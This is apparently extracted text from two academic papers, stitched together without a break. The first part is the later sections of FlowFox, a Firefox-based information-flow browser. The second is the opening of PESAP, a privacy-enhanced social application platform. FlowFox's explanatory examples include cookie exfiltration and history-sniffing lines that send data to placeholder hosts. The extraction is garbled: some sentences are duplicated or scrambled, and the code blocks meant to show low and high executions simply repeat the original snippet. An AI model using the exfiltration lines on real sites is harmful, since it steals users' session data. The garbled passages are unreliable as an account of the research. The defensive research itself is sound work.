To intercept DOM API calls, we proceed as follows. Every DOM call from a JavaScript program to its corresponding entry in the C/C++ implemented DOM, needs to convert JavaScript values back and forth to their C/C++ counterparts. Within the Mozilla framework, the XPConnect layer handles this task. The existence of this translation layer enables us to easily intercept all the DOM API calls. We instrumented this layer with code that processes each DOM API call according to the SME I/O rules. We show pseudo code in Figure 4.

For an intercepted invocation of a DOM API method methodName with arguments args in the execution at level curLevel, the processing of the intercepted invocation goes as follows.

First (line 2) we consult the policy to determine the level and default value associated with this invocation as detailed in Section 3.4. Further processing depends on the relative ordering of the level of the invocation (l) and the level of the current execution (curLevel). If they are equal (lines 3-6), we allow the call to proceed, and store the result in a cache for later reuse in executions at higher levels. If the current execution is at a higher level (lines 7-9), we retrieve the result for this call from the result cache – the result is guaranteed to exist because of the loop with its associated security level starting at the bottom element and going upwards – and reuse it in the execution at this level. The actual DOM method is not called. Finally, if the level of the current execution is below the level of the DOM API invocation, then we do not perform the call but return the appropriate default value (lines 10-11).

4.3 Event Handling

As discussed above, labels for events are specified in the policy by labeling the methods/properties that register event handlers. As a consequence, low events will be handled by both the low and high execution (in respectively a low and high context). High events will only be handled by the high execution. This is the correct way to deal with events in SME [10].

Hence, we have to execute an event handler in a JSContext with the same security level as it was installed. We augmented the event listener data structure with the SME state and the security level. We adjust accordingly both the security level and the SME state of the current JSContext at the moment of execution of an event handler.

Take as an example the code in Figure 5 that tries to leak the pressed key code. With the policy discussed in Section 3.4 that makes keypress a H event, the leak will be closed: the handler will only be installed in the high execution, and that execution will skip the image load that leaks the pressed key.

5. EVALUATION

We evaluate our FlowFox prototype in three major areas: compatibility with major websites, security guarantees offered, and performance and memory overhead.

5.1 Compatibility

Since SME is precise [18, §IV.A], theory predicts that FlowFox should not modify the behavior of the browser for sites that comply with the policy. Moreover, SME can sometimes fix interferent executions by providing appropriate default values to the low execution. We perform two experiments to confirm these hypotheses.

In a first experiment, we measure what impact FlowFox has for users on the visual appearance of websites. We construct an automated crawler that instructs two Firefox browsers. The mask covers the areas of the site that are expected to comply with this policy. After loading of the websites has completed, the crawler dumps a screenshot of each of the three browsers to a bitmap. We then compare these bitmaps in the following way. First, we compute a mask that masks out each pixel in the bitmap that is different in the bitmaps obtained from the two regular Firefox browsers. The mask covers the areas of the site that are different on each load (such as slidedown images, advertisements, timestamps, and so forth). Masks are usually small. Figure 6 shows the distribution of the relative sizes of the unmasked area of the bitmaps: 100% means that the two Firefox browsers rendered the page exactly the same; not a single pixel on the screen is different. The main reasons for a larger mask – observed after manual inspection – were (i) content shifts on the y-axis of the screen because of e.g. a horizontal bar in one the two instances or (ii) varying screen-filling images.

Next, we compute the difference between the FlowFox generated bitmap and either of the two Firefox generated bitmaps over the unmasked area. It does not matter which Firefox instance we compare to, as their bitmaps are of course equal for the unmasked area. Figure 7 shows the

![Figure 5: Example of an event handler leaking private information.](http://www.alexa.com/topsite)
FlowFox in differently-positioned content, (iii) network delays (loaded manually inspection – were (i) non-displayed content, (ii)
the browser renders the page exactly as the two Firefox browsers for the unmasked area.

The main reasons for a larger deviation – identified after manual inspection – were (i) non-displayed content, (ii)
differenty-positioned content, (iii) network delays (loaded in FlowFox but not yet in Firefox or vice versa) or (iv) varying images not captured by the mask. In one case, the site was violating the policy but by providing an appropriate default value in the policy, FlowFox could still render the site correctly.

We conclude from this experiment that FlowFox is compatible with the current web in the sense that it does not break sites that comply with the policy being enforced. This is a non-trivial observation, given that FlowFox handles scripts radically differently (executing each script twice under the SME regime) and supports our claim that FlowFox is a fully functional web browser.

This first experiment is an automatic crawl. It just visits the homepages of websites. Even though these home pages in most cases contain intricate JavaScript code, the experiment could not interact intensely with the websites visited. Hence, we performed a second experiment, where FlowFox is used to complete several complex, interactive web scenarios with a random selection of popular sites.

We identified 6 important categories of web sites / web applications amongst the Alexa top-15: web mail applications, online (retail) sales, search engines, blogging applications, social network sites and wikis. For each category, we randomly picked a prototypical web site from this top-15 list for which we worked out and recorded a specific, complex use case scenario of an authenticated user interacting with that web site. We played these in FlowFox with the session cookie policy. In addition, we selected some sites that perform behavior tracking, and browsed them in a way that triggers this tracking (e.g. selecting and copying text) with a policy that protects against tracking (see Section 5.2.2).

Appendix A contains an overview of a representative sample of our use cases recordings.

For all scenarios, the behavior of FlowFox was for the user indistinguishable from the Firefox browser. For the behavior tracking sites, the information leaks were closed – i.e. FlowFox fixed the executions in the sense that the original script behavior was preserved, except the leakage of sensitive information was replaced with default values. This has no impact on user experience, as the user does not notice these leaks in Firefox either.

This second experiment confirms our conclusions from the first experiment: FlowFox is compatible with the current web, and can fix interferent executions in ways that do not impact user experience.

5.2 Security

We evaluate two aspects of the security of FlowFox. In order for the theoretical properties of SME to hold, we need (i) a deterministic scheduler and (ii) a deterministic language.

Because of the total order of our lattice and the semi-serial execution (see Section 4.1), the scheduler is effectively deterministic. Although there are some source of non-determinism in JavaScript\(^1\), we consider them merely as technical issues – in practice they will not exist, except for setTimeout, that is handled like a regular event – resulting in a deterministic JavaScript execution.

5.2.1 Is FlowFox Non-interferent?

There are two reasons our prototype could fail to be non-interferent: (1) if it violates the assumptions underlying the soundness proof \([18, \text{SHLB}], \) or (2) if there are implementation-level vulnerabilities in our prototype.

For (1), an important assumption is that no information output to an API method classified as high can be input again through an API call classified as low. In other words, for soundness, policies should be compatible with the browser API implementation in the sense that scripts should not be able to leak information to lower levels through the API implementation. It is non-trivial to validate this assumption in our prototype: browser API calls are treated as I/O channels, and the implementation of the browser API is large and complex. Checking whether a given policy is compatible in this sense is a non-trivial task in general, and investigating this more thoroughly is an interesting avenue for future work. However, the relatively simple policies that we used in our experiments are compatible.

For (2), – given the size and complexity of the code base of our prototype – we can’t formally guarantee the absence of any implementation vulnerabilities. However, we can provide some assurance: the ECMAScript specification assures us that I/O can only be done in JavaScript by means of the browser API. Core JavaScript – as defined by the ECMAScript specification – doesn’t provide any input or output.

\(^1\)http://code.google.com/p/google-caja/wiki/SourcesOfNonDeterminism
put channel to the programmer [20, §1]. Since all I/O operations have to pass the translation layer to be used by the DOM implementation (see Section 4.2), we have high assurance that all operations are correctly intercepted and handled according to the SME I/O rules.

Finally, we have extensively manually verified whether FLOWFOX behaves as expected on malicious scripts attempting to leak information (we discuss some example policies in Section 5.2.2). We believe all these observations together give a reasonable amount of assurance of the security of FLOWFOX.

5.2.2 Can FLOWFOX Enforce Useful Policies?

FLOWFOX guarantees non-interference with respect to an information flow policy. But not all such policies are necessarily useful. In this section, we demonstrate how some of the concrete threats we discussed in Section 2 are effectively mitigated.

Leaking session cookies.

In Section 2 we discussed how malicious scripts can leak session cookies to an attacker. A simple solution would be to prevent scripts from accessing cookies. However, consider the following code snippet:

```javascript
1 new Image().src = "http://host/?=" + document.cookie;
2 document.body.style.backgroundColor = cookieValue("color");
```

In order for the script above to work, only the color value from the cookie is needed. By assigning a high security level to both the DOM call for the cookie and the background color, and a low level to API calls that trigger network output, we allow the script access to the cookies, but prevent them from leaking.

Executing the above code snippet with FLOWFOX, results in the following two executions:

```javascript
1 new Image().src = "http://host/?=" + document.cookie;
2 document.body.style.backgroundColor = cookieValue("color");
```

The high execution:

```javascript
1 new Image().src = "http://host/?=" + document.cookie;
2 document.body.style.backgroundColor = cookieValue("color");
```

Hence, the script executes correctly, but does not leak the cookie values to the attacker.

This policy subsumes fine-grained cookie access control systems, such as SessionShield [33] that use heuristic techniques to prevent access to session cookies but allow access to other cookies.

History sniffing.

History sniffing [23, §4] is a technique to leak the browsing history of a user by reading the color information of links to decide if the linked sites were previously visited by the user:

```javascript
1 var l = document.createElement("a");
2 l.href = "http://web.site.com"
3 new Image().src = "http://attacker/?=" +
4 (document.defaultView.getComputedStyle(l, null)
5 .getPropertyValue("color") == rgb(12, 34, 56)?)
```

Baron [6] suggested a solution for preventing direct sniffing by modifying the behavior of the DOM style API to pretend as if all links were styled as if they were unvisited. In FLOWFOX, one can assign a high security level to the `getPropertyValue` method, and set an appropriate default color value. If all API calls that trigger network output are low, scripts can still access the color, but can’t leak it.

Tracking libraries.

Tynt is a web publishing toolkit, that provides web sites with the ability to monitor the copy event. Whenever a user copies content from a web page, the library appends the URL of the page to the copied content and transfers this to its home page via the use of an image object [23, §5]. To block the leakage of copied text, we construct policy rule $R_6$ to contain the Tynt software by assigning a high security label to the DOM call for receiving the selected text:

$R_6$ [window.getSelection]: $true \rightarrow H \leftrightarrow \epsilon$

FLOWFOX now always reports that empty strings are copied.

Other web sites covertly track the user’s click events. By assigning a high security label to the DOM calls for accessing mouse coordinates, we contain those behavior tracking scripts. Policy rules $R_7$ and $R_8$ could be representative for such a security policy:

$$
\begin{cases}
R_7[MouseEvent.clientX] : true \rightarrow H \leftrightarrow 0 \\
R_8[MouseEvent.clientY] : true \rightarrow H \leftrightarrow 0
\end{cases}
$$

FLOWFOX will now always report the default position of the mouse to external parties.

The examples above are only the tip of the iceberg. FLOWFOX supports a wide variety of useful policies. We consider three classes of policies to be interesting for further investigation:

1. Policies that classify the entire DOM API low, except for some selected calls that return sensitive information. The three examples above fall in this category. Such policies could be offered by the browser vendor as a kind of privacy profile.

2. Policies that approximate the SOP, but close some of its leaks. Writing such a policy is an extensive task, as each DOM API method must receive an appropriate policy rule that ensures that information belonging to the document origin is high and other information is low. However, such a policy must be written only once, and should only evolve as the DOM API evolves.

3. Server-driven policies, where a site can configure FLOWFOX to better protect the information returned from that site.

Note that none of these cases requires the end-user to write policies. Policy writing is obviously too complex for browser end-users.

5.3 Performance and Memory Cost

All experiments reported in this section were performed on a MacBook notebook with a 2GHz Intel®Core™2 Duo processor and 2GB RAM.

5.3.1 Micro Benchmarks

The goal of the first performance experiment is to quantify the performance cost of our implementation of SME for JavaScript.

\[ http://www.tynt.com/ \]
We used the Google Chrome v8 Benchmark suite version 6 \(^5\) – a collection of pure JavaScript benchmarks used to tune the Google Chrome project – to benchmark the JavaScript interpreter of our prototype. To simulate I/O intensive applications, we reused the I/O test from Devriese and Piessens \([18, \S V.B]\). This test simulates interleaved inputs and outputs at all available security levels while simulating a 10ms I/O latency.

We measured timings for three different runs: (i) the original unmodified SpiderMonkey, (ii) SpiderMonkey with our modifications but without multi-executing (every benchmark was essentially executed at a low security level with all available DOM calls assigned a low security level) and (iii) SpiderMonkey with SME enabled.

The results of this experiment in Figure 8 show that our modifications have the largest impact – even when not multi-executing – for applications that extensively exploit data structures, like splay and raytrace. The results also confirm our expectations that our prototype implementation more or less doubles execution time when actively multi-executing with two security levels. The io test shows only a negligible impact overhead, because while one security level blocks on I/O, the other level can continue to execute. The results are in line with previous research results of another SME implementation \([18]\).

Since web scripts can be I/O intensive, the small performance impact on I/O intensive code is important, and one can expect macro-benchmarks for web scenarios to be substantially better than 200%.

5.3.2 Macro Benchmarks

The goal of the second performance experiment is to measure the impact on the latency perceived by a browser user. We used the web application testing framework Selenium to record and automatically replay six scenarios from our second compatibility experiment for both the unmodified Mozilla Firefox 8.0.1 browser and FlowFox. The results in Figure 9 show the average execution time (including the standard deviation) of each scenario for both browsers. In order to realistically simulate a typical browsing environment, caching was enabled during browsing, but cleared between different browser runs. The results show that the user-perceived latency for real-life web applications is at an acceptable scale.

5.3.3 Memory Benchmarks

Finally, we provide a measurement of the memory cost of FlowFox. During the compatibility experiment, where FlowFox was browsing to 500 different websites, we measured the memory consumption for each site via about:memory after the onload event. On average, FlowFox incurred a memory overhead of 88%.

6. RELATED WORK

We discuss related work on (i) information flow security and specific enforcement mechanisms and (ii) general web script security countermeasures.

Information Flow Security.

Information flow security is an established research area, and too broad to survey here. For many years, it was dominated by research into static enforcement techniques. We point the reader to the well-known survey by Sabelfeld and Myers \([38]\) for a discussion of general, static approaches to information flow enforcement.

Dynamic techniques have seen renewed interest in the last decade. Le Guernic’s PhD thesis \([28]\) gives an extensive survey up to 2007, but since then, significant new results have been achieved. Recent works propose run time monitors for information flow security, often with a particular focus on JavaScript, or on the web context. Sabelfeld et al. have proposed monitoring algorithms that can handle DOM-like structures \([37]\), dynamic code evaluation \([3]\) and timeouts \([36]\). In a very recent paper, Hedin and Sabelfeld \([21]\) pro-
pose dynamic mechanisms for all the core JavaScript language features. Austin and Flanagan [4] have developed alternative, sometimes more permissive techniques. These run time monitoring based techniques are likely more efficient than the technique proposed in this paper, but they lack the precision of secure multi-execution: such monitors will block the execution of some non-interferent programs.

Secure multi-execution (SME) is another dynamic technique that was developed independently by several researchers. Capizzi et al. [13] proposed shadow executions: they propose to run two executions of processes for the H (secret) and L (public) security level to provide strong confidentiality guarantees. They applied their technique also to Mozilla Firefox but they multi-execute the entire browser and hence can’t enforce the same script policies as FlowFox can, as we discussed in Section 3.3. Devriese and Piessens [18] were the first to prove the strong soundness and precision guarantees that SME offers. They also report on a JavaScript implementation that requires a modified virtual machine, but without integrating it in a browser.

These initial results were improved and extended in several ways: Kashyap et al. [27], generalize the technique of secure multi-execution to a family of techniques that they call the scheduling approach to non-interference, and they analyze how the scheduling strategy can impact the security properties offered. Jaskelioff and Russo [24] propose a monadic library to realize secure multi-execution in Haskell, and Barthé et al. [9] propose a program transformation that simulates SME. Bielova et al. [10] propose a variant of secure multi-execution suitable for reactive systems such as browsers. This paper develops the theory of SME for reactive systems, but the implementation is only for a simple browser model written in OCaml. Finally, Austin and Flanagan [5] develop a more efficient implementation technique. Their multi-faceted evaluation technique could lead to a substantial improvement in performance for FlowFox, especially for policies with many levels.

Also static or hybrid techniques specifically for information flow security in JavaScript or in browsers have been proposed, but these techniques either are quite restrictive and/or can not handle the full JavaScript language. Bohannan et al. [12, 11] define a notion of non-interference for reactive systems, and show how a model browser can be formalized as such a reactive system. Chugh et al. [14] have developed a novel multi-stage static technique for enforcing information flow security in JavaScript. BFlow [44] provides a framework for building privacy-preserving web applications and includes a coarse-grained dynamic information flow control monitor.

Other Web Script Security Countermeasures.

Information flow security is one promising approach to web script security, but two other general-purpose approaches have been applied to script security as well: isolation and taint-tracking.

Isolation or sandboxing based approaches develop techniques where scripts can be included in web pages without giving them (full) access to the surrounding page and the browser API. Several practical systems have been proposed, including ADSafe [15], Caja [31] and Facebook JavaScript [19]. Maffeis et al. [29] formalize the key mechanisms underlying these sandboxes and prove they can be used to create secure sandboxes. They also discuss several other existing proposals, and we point the reader to their paper for a more extensive discussion of work in this area.

Isolation is easier to achieve than non-interference, but it is also more restrictive: often access needs to be denied to make sure the script can not leak the information, but it would be perfectly fine to have the script use the information locally in the browser.

Taint tracking is an approximation to information flow security, that only takes explicit flows into account. It can be implemented more efficiently than dynamic information flow enforcement techniques, and several authors have proposed taint tracking systems for web security. Two representative examples are Xu et al. [43], who propose taint-enhanced policy enforcement as a general approach to mitigate implementation-level vulnerabilities, and Vogt et al. [41] who propose taint tracking to defend against cross-site scripting.

Besides these general alternative approaches, many ad-hoc countermeasures for specific classes of web script security problems have been proposed – because of space constraints, we don’t provide a full list. We discussed the examples of AdJail [40], SessionShield [33] and history sniffing [42] in the paper.

7. CONCLUSIONS

We have discussed the design, implementation and evaluation of FlowFox, a browser that extends Mozilla Firefox with a general, flexible and sound information flow control mechanism. FlowFox provides evidence that information flow control can be implemented in a full-scale web browser, and that doing so, supports powerful security policies without compromising compatibility.

All our research material – including the prototype implementation and the Selenium test cases – is available online at http://distrinet.cs.kuleuven.be/software/FlowFox/.

8. ACKNOWLEDGMENTS

The authors thank Andrei Sabelfeld, Nataliia Bielova, Fabio Massacci and the anonymous reviewers for their feedback on draft versions of this paper. The development of FlowFox was strongly influenced by discussions with and feedback from the WebSand and SPION project teams.

This research is partially funded by the Research Fund KU Leuven, the EU-funded FP7 projects NNESSoS and WebSand and by the IWT-SBO project SPION. Dominique Devriese holds a Ph.D. fellowship of the Research Foundation - Flanders (FWO).

With the financial support from the Prevention of and Fight against Crime Programme of the European Union European Commission – Directorate-General Home Affairs. This publication reflects the views only of the authors, and the European Commission cannot be held responsible for any use which may be made of the information contained therein.

9. REFERENCES


**APPENDIX**

**A. SCENARIOS**

<table>
<thead>
<tr>
<th>Category</th>
<th>Site</th>
<th>Rank</th>
<th>Use Case Scenario</th>
</tr>
</thead>
<tbody>
<tr>
<td>Search Engine</td>
<td>Google</td>
<td>1</td>
<td>The user types – through keyboard simulation – in a keyword, clicks on a random search term in the auto-completed result list and waits for the result page.</td>
</tr>
<tr>
<td>Social Network Site</td>
<td>Facebook</td>
<td>2</td>
<td>The user clicks on a friend in friends list and types – through keyboard simulation – a multi-line private message. Next, the user clicks on the send button.</td>
</tr>
<tr>
<td>Web Mail</td>
<td>Yahoo!</td>
<td>4</td>
<td>The user clicks on the &quot;Compose Message&quot; button and fills in the to and subject fields. Next, he types in the message body and ends with clicking on the send button. The user waits until he gets confirmation by the web mail provider that the message is sent successfully.</td>
</tr>
<tr>
<td>Wiki</td>
<td>Wikipedia</td>
<td>6</td>
<td>The user opens the main page and clicks on the search bar. Next, the user types – through keyboard simulation – the first characters of a keyword. The user clicks on the first result and waits until a specific piece of text is found on the page (i.e. the page successfully loaded).</td>
</tr>
<tr>
<td>Blogging</td>
<td>Blogspot</td>
<td>8</td>
<td>The user opens the dashboard and create a new blog post. The user waits until the interface is completely loaded and types – through keyboard simulation – a title and a message. Next, the user saves the message and closes the editor.</td>
</tr>
<tr>
<td>Online Sales</td>
<td>Amazon</td>
<td>11</td>
<td>The user clicks in the search bar and types – through keyboard simulation – the beginning of a book title. The user clicks on the first search result within the auto-completed result list and adds the book to the shopping cart. Finally the user deletes the book again from the cart.</td>
</tr>
<tr>
<td>Tracking</td>
<td>Microsoft</td>
<td>31</td>
<td>The user selects random pieces of text from within the home page and clicks on several objects (e.g. menu items). The tracking library will leak the selected locations.</td>
</tr>
<tr>
<td>Tracking</td>
<td>The Sun</td>
<td>547</td>
<td>The user selects random pieces of text from within the home page. The tracking library will leak the document title and selected text.</td>
</tr>
</tbody>
</table>
PESAP: a Privacy Enhanced Social Application Platform

Tom Reynaert*, Willem De Groef†, Dominique Devriese‡, Lieven Desmet† and Frank Piessens†
IBBT–DistriNet Research Group
KU Leuven
Leuven, Belgium
*tom.reynaert@student.kuleuven.be, †firstname.lastname@cs.kuleuven.be

Abstract—Nowadays, social networking sites provide third party application developers with means to access their social graph, by providing a social application platform. Through their users, these developers acquire a significant set of personal information from the social graph. The current protection mechanisms, such as privacy policies and access control mechanisms fall short on protecting the privacy of the users. In this paper we present a framework for a privacy enhanced social application platform, called PESAP, that technically enforces the protection of the personal information of a user, when interacting with social applications. The framework is based on two pillars: anonymization of the social graph and secure information flow inside the browser. PESAP is targeted to be as compatible as possible with the current state-of-the-art design of social application platforms, while technically enforcing the protection of user privacy. We evaluate this compliance, based on a classification of applications in different categories.

Keywords—privacy; online social network; social application platform;

I. INTRODUCTION

Today social networking sites are ubiquitous. They host an important part of the on-line communication and contain the majority of personal information that is available on the web. Ever since Facebook launched their application development platform in May 2007, social applications have been an important evolution in the world of social networking sites. Almost every major social networking site provides means to access data in their social graph. Third-party applications spread through the on-line communities and the popularity of these social applications keeps increasing. Although they might be hard to configure and adjust to one’s wishes, users usually trust the social networking sites to respect their privacy settings. Trusting Facebook, Google, and other big social network providers to keep to their policies and to respect your privacy, is hard to avoid when using social networking sites. Trusting each third-party application developer to keep to the policies and to respect your privacy, is more difficult to justify. A 2010 Wall Street Journal article illustrates the problem by showing that many of the most popular Facebook applications were (perhaps unknowingly) transmitting identifying information to advertising and tracking companies [1].

The first hurdle between application providers and the content of the social graph is an access control mechanism. All social application platforms, require an explicit or sometimes implicit authorization of the user before granting an application access to her data. The extent and protection range of this authorization procedure strongly depends on the social application platform. Facebook, for example, provides a fine-grained permission model in which a user can clearly control which parts of her information are accessed by which applications. In addition, accessing personal information is rigidly regulated with short-lived access tokens. In contrast, the OpenSocial standards do not provide any granularity in their permission model, and access tokens can be kept alive for a long time. These access control mechanisms provide a first shielding of the personal information of a user from application developers. However, once given consent, this shield is broken and application developers can harvest and possibly misuse the user’s personal information.

The rules by which an application developer must abide, while using personal information are often stated in so called developer policies. All major social networking sites prohibit application developers from misusing personal information or forwarding it to other parties, such as advertising companies. However, it is difficult to verify the compliance of application developers with these rules, which is reflected in the weak guarantees given by social networking sites towards the user:

Remember that these games, applications and websites are created and maintained by other businesses and developers who are not part of Facebook, so you should always make sure to read their terms of service and privacy policies.
—Facebook Developer Policy

With these two protection mechanisms in place, the social networking site shifts the responsibility of protecting personal information to the user: she is responsible for (i) assessing the trustworthiness of the application provider before granting permissions and (ii) detecting privacy intrusions and holding the application provider accountable. The privacy features that the social networking site provides are only technical and legal supporting measures that allow the user to perform these assessments herself. It is already a difficult and complex task for social networking sites to verify trustworthiness and well-behavior of application providers, making it crucial for users to perform these assessments.
providers in this framework, for individual users this is a mission impossible.

This paper presents a social application platform that technically enforces the protection of personal information. To make it as compliant as possible with the state-of-the-art of social application platforms and applications, Section II studies the general architecture of current social application platforms. In Section III we present our proposal for a privacy enhanced social application platform, which is evaluated in Section IV. Finally, Section V shortly examines relevant related work and suggests some future research.

II. STATE-OF-THE-ART SOCIAL APPLICATION PLATFORM

Originally social applications were only built using the so called gadget approach. A gadget is a document specifying the behavior of the application. It strongly resembles a normal web page but is combined with a small set of metadata. A gadget can only be accessed inside a wrapping social networking site page. Upon request of the gadget page, the social networking site fetches the specification of the gadget from the developer and embeds it into its own page. Because in this strategy, the social application provider operates as a proxy between the application and the user, gadgets can use special HTML tags, e.g. FBML, which can be translated by the social networking site. As the application code is directly embedded inside a social networking site page, the use of JavaScript is typically limited to a safe subset, such as CAJA or FBJS. In this setting access to the social graph is acquired through special HTML tags or a designated JavaScript API.

Recently the architecture of social application platforms has shifted towards a more distributed approach in which the social networking site no longer operates as a regulating proxy between the application and the user but only as the partner who supplies the personal information. In the distributed approach, applications can run under their own domains and use regular HTML and JavaScript. This allows for more dynamic applications to be developed. The applications can query personal information by issuing HTTP requests to a designated REST API hosted by the social application platform. In this new distributed design, the social application platform loses a lot of the regulating power it had as a proxy between the gadget and the user. In return, application developers are not limited anymore by the use of a safe subset of JavaScript and by running inside the social networking site’s pages. They can create far more complex social applications and even socialize content on existing websites. An application can still be accessed inside the social networking site’s pages, where it is loaded inside an iframe. Although OpenSocial still supports the gadget approach together with the distributed approach, Facebook deprecated their implementation of the gadget approach in favor of the distributed approach, mainly because the shift eliminated the technical differences between developing social applications and regular web applications.\footnote{Deprecation of Facebook Markup Language (FBML), Facebook developers references, September 2011,http://developers.facebook.com/docs/reference/fml/}

The main responsibility of the social application platform in the distributed approach is twofold. It has to provide an authentication and authorization procedure and a REST API. When accessing a social application, the user’s browser is redirected through a procedure, mostly OAuth2.0, in which she has to log in to the social application platform and grant permissions to the application. In most platforms, the permissions for each application are only explicitly requested once. Subsequent times the same set of permissions is granted implicitly. At the end of the procedure the browser is redirected to the application with an access token appended to the redirect URL. With this access token, the application developer can authenticate HTTP requests to the REST API on behalf of the user. Responses only contain the information that is in scope of the set of permissions implied by the access token. Fig. 1 illustrates the data flows in the common distributed architecture of social application platforms.

Fig. 1 reveals an important flaw in the distributed design: social application providers can store personal information on their own server, beyond the control boundaries of both the user and the social application platform. As a consequence, neither the social application platform nor the user can technically protect this personal information. The sole remaining mechanism to protect the user’s privacy is the complex task of verifying whether an application provider complies with the developer policy and does not leak, sell or misuse this personal information.
III. DESIGN AND IMPLEMENTATION OF PESAP

From analyzing the state-of-the-art in social applications platforms, we conclude that there is an important shift towards the distributed design. This new design features the storing of personal data on the application-side server, which is undesirable for the user as it implies a total loss of control over this data. However, users should be able to view personal information of their friends in their browser, as this is the key ingredient that makes social applications popular. These three conclusions form the main goal of our research: designing a privacy enhanced social application platform, PESAP, which stays as close as possible to the distributed architecture in order to minimize impact on social applications and social application platforms, while technically preventing personal information to leak from the browser to application providers or other third parties.

We define the social view of a user as the set of entities and the information about these entities that a user can view by browsing the social networking site.

A. Anonymization of the Social Graph

Almost any social application needs to store user depending state, such as high scores or progress, in between different uses of the application. In addition, a lot of them make use of the relations between users and other entities of the social graph. However, only a small minority of the social applications seems to depend heavily on the actual content of personal information. Section IV provides a more detailed analysis of different types of applications. This inspires us to provide the application developers with at most the stripped-down, anonymized framework of the social graph, illustrated in Fig. 2. The anonymization is done by encrypting the ids of the entities of the social graph with a per-application symmetric key. PESAP provides the applications with a REST API to query – via HTTP requests – information about the structure of the social graph. These requests need to be authenticated with an access token which can be retrieved by following an authentication and authorization procedure similar to the one described in the previous section. The content of the responses is limited to the social view of the user that provided the access token.

The strength and popularity of social applications strongly depend on the interactions with friends. In order to provide these interactions, users have to be able to see the personal information of their friends in the context of social applications. Therefore PESAP provides a re-identification endpoint. Querying this endpoint can only be done by sending XMLHTTPRequests from a browser where a PESAP user is authenticated. Besides generating an access token, PESAP also stores a per user secure token as a cookie in the browser, during the authentication and authorization procedure. Based on the presence of this cookie in a re-identification request, PESAP identifies the originating browser. It then responds with the requested personal information as long as it is part of the social view of the user requesting it. The response containing the personal information is sent with the necessary CORS headers, to circumvent the Same-Origin-Policy and allow cross resource sharing. As we do not want re-identified information to leak away, we need a mechanism to keep the information in the browser.

B. Secure Information Flow in the Browser

The second pillar of PESAP is the protection of private information in the browser of the users: PESAP should not block all outgoing communication from the browser, as this strategy would severely harm the functionality of the application. We want to keep track of the personal information inside the application’s code in the browser, and prevent outgoing communication to be influenced directly or indirectly by this personal information. Secure information flow techniques offer this functionality.

The objective of secure information flow techniques, also called information flow analysis techniques, is to analyze information flows inside a computer program or process and ensure that these flows comply with a certain policy. This policy usually labels inputs and outputs with a certain security label. These labels come from a partially ordered lattice. Secure information flow analysis techniques enforce that information only flows upwards in this lattice. The property that lower labeled outputs are not influenced by higher leveled inputs is called non-interference. In the most simple scenario there are only two different labels in the lattice: \( L \) for low, or public information and \( H \) for high, or secret information. In this case, the goal of secure information flow is to ensure that the \( L \) labeled outputs do not depend on the \( H \) labeled inputs.

The literature contains a vast amount of different secure information flow techniques. Static techniques analyze source code or byte code upfront, in order to verify the compliance with the policy. Dynamic techniques usually monitor and regulate programs during execution. An introduction to the former set of techniques is written by Smith [2] and a survey by Sabelfeld et al. [3], the latter are summarized by Le Guernic [4]. For PESAP we choose a dynamic secure
information flow technique called secure multi-execution, a technique developed by Devriese and Piessens [5] and further refined to a reactive system by Bielova et al. [6]. The idea is to label inputs and outputs of a system with security labels and to run a separate sub-execution of the program for each security label. A sub-execution at a given security level has only access to the information inputs that are labeled with the same or a lower security label. When an input is related to a side-effect, the input is only generated in the sub-execution with the same security level as the label of the input. All other, higher sub-executions wait for the input to be generated and re-use the input from the lowest sub-execution. All inputs that have a higher security label than the security level of a sub-execution are replaced with default values. At the same time, a sub-execution at a given security level, can only do outputs that have exactly the same security level. It is intuitively clear that this technique provides non-interference as outputs are only done in their own security level sub-execution and that execution does not have access to inputs that have a higher security label.

By labeling the re-identified personal information of users with a $H$ security label, and all communication towards third parties, including the application provider, as $L$ output, running secure multi-execution in the browser should be able to prevent the information from leaking out of the browser. The final design of PESAP is summarized in Fig. 3 and Fig. 4. Defining an adequate policy that is both secure and precise, is a challenging task.

C. Implementation of a Prototype

To test the feasibility of our strategy, we have implemented a prototype based on the design of PESAP. The prototype consists of a social networking site accompanied by a social application platform, which offers an authentication and authorization procedure, a REST endpoint to query the anonymized framework of the social graph and a re-identification endpoint.

We have also defined a first information flow policy for FlowFox, an implementation of secure multi-execution for JavaScript in the browser [7]. In FlowFox a policy is defined on the calls of the JavaScript API. Labeling each JavaScript call in such a way that they reflect a general information flow policy that is both secure and precise, is a complex task. Although we tailored a customized flow policy for PESAP, in practice FlowFox will use a general policy which can be adapted and extended by content providers. We can imagine the use of an additional HTTP response header that indicates that the content may be shared with other domains, but cannot leave the browser. An instance of FlowFox together with the adequate flow policy is considered a PESAP-aware browser. Running an application in a regular browser can lead to the leaking of the personal information contained in the social view of the user.

Finally, we have created two representative social applications. In the first one, users can throw dice and compare their high scores with those of their friends. In the second application, users can play games of rock-paper-scissors with each other.

IV. ANALYSIS

To prove that PESAP achieves its privacy and compatibility goals, we investigate the impact of de-anonymization attacks on our design and study the compliance of different types of applications with PESAP.

A. De-Anonymization Attacks

The choice of providing the application developer with the anonymized framework lowers in a way the overall privacy guarantees of the system. Indeed, the combination of the anonymized graph with some extra knowledge of the real graph, is the key ingredient for a broad set of graph de-anonymization techniques [8]–[11]. These de-anonymization techniques aim to map the entities of the anonymized graph back to entities of the real graph. Although these techniques
are a serious threat for all sorts of applications that make use of an anonymized version of a graph, we will argue that these techniques do not cause a major harm in the case of PESAP.

First of all, a lot of personal information such as the profile data that is linked to the entities, indicated in red in Fig. 2, is never released to the application provider. De-anonymization of the framework will never result in compromising this kind of personal information – so called content disclosure [10]. The only relevant information that can be mined from a de-anonymized framework of the social graph are the identities associated with nodes (identity disclosure) and the relations between entities (link disclosure).

The research in anonymization and de-anonymization techniques is mainly focused on scenarios where an entity performs a set of actions while being anonymized. These actions are thus linked to the anonymized identifier and by de-anonymizing the graph, they can be linked to the real entity. This threat is not very relevant for social application platforms as a user usually does not perform compromising actions while using a social application.

The only relevant threat, related to the de-anonymization of the framework of the social graph is the fact that an adversary might discover relationships or links between entities, that are not supposed to be visible [12]. De-anonymization techniques typically require some additional information about the real elements of the graph in order to deliver satisfying results. This information is used to decrease the anonymity set of the target. Typical examples of such information are the degree of a node, or the relation of the node to a known clique. One possible mitigation could be to extend the framework of the anonymized social graph with fake ids which have fake relationships to real entities or include a systematic framework for identity anonymization for graphs [10]. This could make it a lot harder to identify entities based on the numbers of relationships they have.

B. Influence on Applications

